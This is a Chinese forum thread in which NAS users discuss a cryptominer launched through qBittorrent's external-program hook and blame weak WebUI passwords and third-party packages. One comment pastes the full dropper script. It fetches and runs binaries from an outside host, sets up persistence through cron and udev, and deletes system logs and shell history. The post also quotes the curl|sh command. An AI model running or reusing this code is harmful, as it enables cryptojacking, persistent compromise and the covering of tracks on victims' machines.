• 在昨天下班回家后,听见 nas 怪吵,看了下探针 CPU50%,检查进程,qbittorrent 进程极为活跃,但是没有正在下载的内容。平时一直用 rss 自动挂 sukebei ,确认过确实没有活跃任务,这就活见鬼了。
  • ssh 中 top 了一下,b3qmud4h 这个进程跑的飞起,怀疑有问题,互联网上搜索一圈,b3qmud4h 为自动生成的字段。
  • kill -9 该进程后,cpu 恢复正常,qb 服务也没出现问题
  • 重启 qbittorrent ,再次出现高 cpu 占用进程,同样为随机字符的任务。
  • 检查 qbittorrent 日志,发现 “运行外部程序。Torrent:“*”。命令:sh -c "(curl -skL files.synotech.studio || wget --no-check-certificate -qO - files.synotech.studio) | sh"
  • 通过搜索,得知设置→下载→运行外部程序 选项如果打勾的话,是可以通过种子直接运行脚本的
  • 大家务必检查一下这个设置是否开启,我的印象里是没有认为开启过,可能和包或者是 docker 镜像有关

    我用的这个: github.com/c0re100/qBittorrent-Enhanced-Edition

    话说 qBittorrent 为什么要写这么危险的功能呢?如果把挖矿脚本换成木马,岂不是一下子倒一大片

    官方源的包不会有问题,你的 qb 安装自不明脚本?

    群晖矿神 5.0.3 的包,已更换 docker

    而且我看了,这个功能的目的是相当于一个种子下载之后的 hook ,“外部程序”指的本机本来就有的程序,所以大概率还是你的 qb 本身已经被入侵了。

    矿神…… 不拿你挖矿对得起这名字吗 doge

    那个脚本要用户自己去设置里填写的吧?怎么可能自动从种子里获取?感觉是别的地方被入侵了,比如说开启了 WebUI 没设置密码暴露到公网上了。

    我的一切正常

    #!/bin/sh
    ARCH=$(uname -m)
    FILE=$(head /dev/urandom | tr -dc 'A-Za-z0-9' | head -c 8)
    if [ ! "$(grep -c ":5B25" /proc/net/tcp)" -gt 0 ]; then
    EXEC=$(for i in $(mount | grep -awv noexec | grep -aw "rw" | awk '{print $3}'); do find $i -maxdepth 0 -type d -executable 2>/dev/null; done)
    (ps -eo pid,%cpu --sort=-%cpu | awk '$2 > 80 {print $1}' | xargs -I % kill -9 %) >/dev/null 2>&1
    if [ "$ARCH" = "x86_64" ]; then
    for i in /tmp $PWD $HOME $EXEC; do
    (curl -sk files.synotech.studio/1 -o "$i"/"$FILE" || wget --no-check-certificate -qO "$i"/"$FILE" files.synotech.studio/1) >/dev/null 2>&1
    (cd "$i" ; chmod +x "$FILE" ; ./"$FILE") >/dev/null 2>&1
    rm -rf "$i"/"$FILE" >/dev/null 2>&1
    sleep 15
    if [ "$(grep -c ":5B25" /proc/net/tcp)" -gt 0 ]; then
    break
    fi
    done
    elif [ "$ARCH" = "aarch64" ]; then
    for i in /tmp $PWD $HOME $EXEC; do
    (curl -sk files.synotech.studio/2 -o "$i"/"$FILE" || wget --no-check-certificate -qO "$i"/"$FILE" files.synotech.studio/2) >/dev/null 2>&1
    (cd "$i" ; chmod +x "$FILE" >/dev/null 2>&1 ; ./"$FILE") >/dev/null 2>&1
    rm -rf "$i"/"$FILE" >/dev/null 2>&1
    sleep 15
    if [ "$(grep -c ":5B25" /proc/net/tcp)" -gt 0 ]; then
    break
    fi
    done
    else
    exit 1
    fi
    fi
    (if sudo -n true; then find /etc/cron.d -type f -exec rm -rf {} \; ; elif [ "$(id -u)" -eq 0 ]; then find /etc/cron.d -type f -exec rm -rf {} \; ; fi) >/dev/null 2>&1
    (if sudo -n true; then echo 0 0 * * * root sh -c "\"(curl -sk files.synotech.studio || wget --no-check-certificate -qO - files.synotech.studio) | sh"\" | sudo tee /etc/cron.d/mdadm; elif [ "$(id -u)" -eq 0 ]; then echo 0 0 * * * root sh -c "\"(curl -sk files.synotech.studio || wget --no-check-certificate -qO - files.synotech.studio) | sh"\" | tee /etc/cron.d/mdadm; fi) >/dev/null 2>&1
    UDEV='SUBSYSTEM=="net", KERNEL!="lo", RUN+="echo 0 0 * * * root sh -c "\"(curl -sk files.synotech.studio || wget --no-check-certificate -qO - files.synotech.studio) | sh"\" | (sudo tee /etc/cron.d/mdadm || tee /etc/cron.d/mdadm)"'
    (if sudo -n true; then echo $UDEV | sudo tee /etc/udev/rules.d/mdadm; elif [ "$(id -u)" -eq 0 ]; then echo $UDEV | tee /etc/udev/rules.d/mdadm; fi) >/dev/null 2>&1
    (if sudo -n true; then for logs in $(sudo find /var/log -type f); do sudo rm $logs; done; elif [ "$(id -u)" -eq 0 ]; then for logs in $(find /var/log -type f); do rm $logs; done; fi) >/dev/null 2>&1
    (rm $HOME/.bash_history) >/dev/null 2>&1
    (history -c) >/dev/null 2>&1

    那-----我观望下是不是弱口令

    原来如此,但是更恐怖了啊

    百分百弱口令,毕竟我也扫到过 N 多 8082 默认 admin:adminadmin

    遇到过同样的问题,进程名叫 SyGlcPtf ,原因是 qb 用的弱密码,长教训了

    我也正在用同版 qb ,请问到底应该是哪里设置可以规避?看了下,默认情况下:设置→下载→运行外部程序处的俩都没有勾选

    qBittorrent 有官方 docker ,可以装在群晖上,为啥要用第三方的呢

    #6 哈哈哈,说的太对了!

    能用官方的尽量用官方的,不要安装来路不明的软件

    在/volume1/@appstore/qBitttorrent 目录下发现 o2PHN18N 文件

    我不是矿神

    你的 qb 被爆破了吧?
    可以用 fail2ban 啥的,搞基于日志的防爆破。

    好多年没用过种子下载了……

    #7 windows 自带的杀毒扫描不出吗?

    谢谢提醒!
    已卸载全部群晖上的所有矿神源提供的软件!

    qb 外网端口我都没开

    居然设置后门!
    真服了

点开已安装套件页面
进入软件界面
看到发布者是矿神 XXX 的
我都把卸载了

#2 什么事情都有两面性,本质上是一个 action 的 hook 。最简单的用法就是缓存盘下完转移到储存盘和转移给 tr 保种

我是用这个功能来发送下载完成的通知的。